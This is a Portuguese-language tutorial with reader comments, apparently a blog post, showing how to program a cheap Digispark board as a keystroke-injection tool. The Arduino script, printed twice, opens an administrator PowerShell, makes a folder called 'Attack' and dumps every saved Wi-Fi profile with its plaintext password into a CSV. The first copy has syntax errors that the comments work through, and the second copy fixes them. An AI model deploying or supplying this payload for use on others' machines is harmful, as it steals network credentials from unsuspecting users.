Neste tutorial eu vou utilizar o Digispark. Eu comprei esse meu dispositivo no Mercado Livre por 15 reais.
O Digispark é um microcontrolador de desenvolvimento com base no ATtiny85 semelhante à linha do Arduino, só que mais barato, menor e um pouco menos potente.
Para trabalhar neste projeto voce deve primeiro instalar o Arduino IDE :
https://www.arduino.cc/en/Main/Software
E logo em seguida configure o seguindo as instruções do site. software https://digistump.com/wiki/digispark/tutorials/connecting
Você também deve instalar os drivers atualizados https://github.com/digistump/DigistumpArduino/releases
Eu também usei scripts prontos e apenas modifiquei. Você encontra ótimos scripts em https://github.com/CedArctic/DigiSpark-Scripts
Script que eu usei no video
include "DigiKeyboard.h" void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("MD c:\Windows\Attack"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path c:\Windows\Attack\wifi.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}
Boa tarde Daniel Donda, tudo bom??
Voce comentou que tentaria realizar as alteraçoes da biblioteca do digispark para rodar em teclado portugues.
Estou tentando realizar essa missão tbm mas to tomando uma surra.
Voce conseguiu realizar essas alteracoes com sucesso?
Caso tenha conseguido, poderia me enviar essa lib por favor?
Grande Abraço.
Oi Luiz, nem dei continuidade. Mas lembro que alguém comentou no vídeo que tinha uma solução. Preciso retomar.
Amigo, você pode por favor me dizer como eu consigo deixar em abnt2, estou programando com um arduíno Leonardo atmega32u4
Estou tentando rodar abnt2 a quase 1 ano,
Tentei diversas forma de alterar a biblioteca Keyboard- keyboard.ccp e a keyboard.h
Mais não tive nenhum resultado,
Não faço a mínima ideia de como prosseguir
Faz tempo que eu não trabalho com o Arduino. Precisava retomar para ver como contornar esse problema.
ESTOU TENDO ESSE ERRO, PODERIA ME AJUDAR??
eyboard:23:12: error: expected primary-expression before ‘/’ token
for(;;){ /empty/ }
^
Keyboard:23:13: error: ‘empty’ was not declared in this scope
for(;;){ /empty/ }
^
Keyboard:23:20: error: expected primary-expression before ‘}’ token
for(;;){ /empty/ }
^
Keyboard:23:20: error: expected ‘;’ before ‘}’ token
exit status 1
expected primary-expression before ‘/’ token
Olá donda não estou conseguindo resolve o problema para rodar em ABNT2 pode gravar um vídeo criando um script?
Faz tempo que eu não trabalho com o Arduino. Precisava retomar para ver como contornar esse problema.
Você pode resolver substituindo as bibliotecas padrões por essas https://github.com/Giuzus/digikeyboard-abnt
Bom dia Daniel Donda
Eu copiei o seu codigo fonte e só ta dando erro nesta linha
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
Quero saber como resolver e por no Digispark
Para corrigir o problema do teclado para português basta baixar o arquivo DigiKeyboardPtBr.h e salvar na mesma pasta do código.
No script, alterar todos os comandos DigiKeyboard.h para DigiKeyboardPtBr.h
Salve galera!
Fiz as devidas correções no código.
#include “DigiKeyboard.h”
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.print(F(“MD c:\Windows\Attack”));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F(“exit”));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(500);
DigiKeyboard.print(F(“(netsh wlan show profiles) | Select-String ‘\:(.+)$’ | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String ‘Key Content\W+\:(.+)$’ | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path c:\Windows\Attack\wifi.csv”));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F(“exit”));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}